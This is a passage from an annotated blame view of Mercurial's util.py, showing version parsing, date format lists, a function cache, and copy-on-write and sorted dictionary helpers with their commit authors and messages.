Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   782
    """Return version information if available."""
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   783
    try:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
   784
        from . import __version__
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   785
        return __version__.version
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   786
    except ImportError:
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   787
        return 'unknown'
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
   788
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   789
def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   790
    """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   791
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   792
    The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   793
    If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   794
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   795
    ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   796
    returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   797
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   798
    >>> v = b'3.6.1+190-df9b73d2d444'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   799
    >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   800
    (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   801
    >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   802
    (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   803
    >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   804
    (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   805
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   806
    >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   807
    (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   808
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   809
    >>> v = b'3.6'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   810
    >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   811
    (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   812
    >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   813
    (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   814
    >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   815
    (3, 6, None, None)
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   816
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   817
    >>> v = b'3.9-rc'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   818
    >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   819
    (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   820
    >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   821
    (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   822
    >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   823
    (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   824
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   825
    >>> v = b'3.9-rc+2-02a8fea4289b'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   826
    >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   827
    (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   828
    >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   829
    (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   830
    >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   831
    (3, 9, None, 'rc+2-02a8fea4289b')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   832
    """
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   833
    if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   834
        v = version()
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
   835
    parts = remod.split('[\+-]', v, 1)
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   836
    if len(parts) == 1:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   837
        vparts, extra = parts[0], None
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   838
    else:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   839
        vparts, extra = parts
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   840
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   841
    vints = []
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   842
    for i in vparts.split('.'):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   843
        try:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   844
            vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   845
        except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   846
            break
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   847
    # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   848
    while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   849
        vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   850
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   851
    if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   852
        return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   853
    if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   854
        return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   855
    if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   856
        return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
   857
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
   858
# used by parsedate
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   859
defaultdateformats = (
29638
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   860
    '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   861
    '%Y-%m-%dT%H:%M',    #   without seconds
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   862
    '%Y-%m-%dT%H%M%S',   # another awful but legal variant without :
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   863
    '%Y-%m-%dT%H%M',     #   without seconds
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   864
    '%Y-%m-%d %H:%M:%S', # our common legal variant
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   865
    '%Y-%m-%d %H:%M',    #   without seconds
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   866
    '%Y-%m-%d %H%M%S',   # without :
491ee264b9f6 date: accept broader range of ISO 8601 time specs
Matt Mackall <mpm@selenic.com>
parents: 29637
diff changeset
   867
    '%Y-%m-%d %H%M',     #   without seconds
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   868
    '%Y-%m-%d %I:%M:%S%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   869
    '%Y-%m-%d %H:%M',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   870
    '%Y-%m-%d %I:%M%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   871
    '%Y-%m-%d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   872
    '%m-%d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   873
    '%m/%d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   874
    '%m/%d/%y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   875
    '%m/%d/%Y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   876
    '%a %b %d %H:%M:%S %Y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   877
    '%a %b %d %I:%M:%S%p %Y',
4708
01f9ee4de1ad Add support for RFC2822 to util.parsedate().
Markus F.X.J. Oberhumer <markus@oberhumer.com>
parents: 4686
diff changeset
   878
    '%a, %d %b %Y %H:%M:%S',        #  GNU coreutils "/bin/date --rfc-2822"
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   879
    '%b %d %H:%M:%S %Y',
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   880
    '%b %d %I:%M:%S%p %Y',
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   881
    '%b %d %H:%M:%S',
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   882
    '%b %d %I:%M:%S%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   883
    '%b %d %H:%M',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   884
    '%b %d %I:%M%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   885
    '%b %d %Y',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   886
    '%b %d',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   887
    '%H:%M:%S',
9383
7116494c48ab util: Fix date format for 12-hour time.
Carey Evans <carey@carey.geek.nz>
parents: 9097
diff changeset
   888
    '%I:%M:%S%p',
3808
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   889
    '%H:%M',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   890
    '%I:%M%p',
d6529582942a improve date parsing for numerous new date formats
Matt Mackall <mpm@selenic.com>
parents: 3807
diff changeset
   891
)
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
   892
3812
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   893
extendeddateformats = defaultdateformats + (
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   894
    "%Y",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   895
    "%Y-%m",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   896
    "%b",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   897
    "%b %Y",
bf6ab30559e6 Add date matching support
Matt Mackall <mpm@selenic.com>
parents: 3809
diff changeset
   898
    )
2609
6c5b1b5cc160 util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents: 2601
diff changeset
   899
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   900
def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   901
    '''cache the result of function calls'''
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
   902
    # XXX doesn't handle keywords args
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
   903
    if func.__code__.co_argcount == 0:
20835
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
   904
        cache = []
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
   905
        def f():
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
   906
            if len(cache) == 0:
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
   907
                cache.append(func())
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
   908
            return cache[0]
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
   909
        return f
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   910
    cache = {}
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
   911
    if func.__code__.co_argcount == 1:
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
   912
        # we gain a small amount of time because
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
   913
        # we don't need to pack/unpack the list
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   914
        def f(arg):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   915
            if arg not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   916
                cache[arg] = func(arg)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   917
            return cache[arg]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   918
    else:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   919
        def f(*args):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   920
            if args not in cache:
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   921
                cache[args] = func(*args)
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   922
            return cache[args]
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   923
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   924
    return f
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
   925
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   926
class cow(object):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   927
    """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   928
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   929
    Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   930
    """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   931
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   932
    def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   933
        """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   934
        if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   935
            self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   936
            return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   937
        return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   938
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   939
    def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   940
        """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   941
        self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   942
        return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   943
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
   944
class sortdict(collections.OrderedDict):
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   945
    '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   946
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   947
    >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   948
    >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   949
    >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   950
    sortdict([('a', 0), ('b', 1)])
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   951
    >>> d2.update([(b'a', 2)])
34139
be00af4a1ac5 doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents: 34137
diff changeset
   952
    >>> list(d2.keys()) # should still be in last-set order
32306
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   953
    ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   954
    '''
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32300
diff changeset
   955
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
   956
    def __setitem__(self, key, value):
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
   957
        if key in self:
32300
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
   958
            del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32291
diff changeset
   959
        super(sortdict, self).__setitem__(key, value)
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
   960
33626
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   961
    if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   962
        # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   963
        def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   964
            if isinstance(src, dict):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   965
                src = src.iteritems()
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   966
            for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   967
                self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
   968
34357
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   969
class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   970
    """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   971
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   972
    Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   973
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   974
    >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   975
    >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   976
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   977
    >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   978
    >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   979
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34295
diff changeset
   980
    >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
